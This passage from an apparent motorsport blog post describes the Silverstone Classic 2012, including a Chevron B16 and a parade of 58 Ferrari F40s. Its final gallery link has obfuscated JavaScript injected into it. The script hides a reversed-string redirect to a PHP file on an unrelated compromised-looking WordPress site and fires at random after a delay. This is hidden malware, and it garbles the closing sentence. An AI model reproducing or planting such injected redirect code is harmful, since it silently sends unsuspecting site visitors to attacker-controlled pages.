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Walking across the bridge, Luke just had time to snap this Chevron B16, a model which arguably set the Lancastrian manufacturer up for the GT success it would enjoy throughout the next decade. Though the B16 itself would prove too heavy to really challenge for outright honours, the lighter Spyder edition – which boasted a ‘close resemblance’ to the Porsche 908 – would prove much more successful.
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The highlight of the on-track activity though was the sight of 58 Ferrari F40s cruising the famous British circuit in honour of the model’s 25th anniversary, the sound of 478 twin-turbocharged horsepower pounding the asphalt majestically. It gave the assembled fans a sight they will wait a long time before witnessing again…
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…unless of course they took a wander around the venue’s main car park for an hour or two afterwards.
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As the sun began to sink, many of the assembled masses took their leave and decided to call it a day. But with over 1000 vehicles spanning seven decades of motorsport entered into 24 races, conversation on the way home would doubtless prove colourful.
Just ask Luke. It’s been a favourite topic of his ever since.
Be sure to check out more of Luke Gilbertson’s shot in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/silverstone-classic-2012/” target=”_blank”>our full gallery HERE.
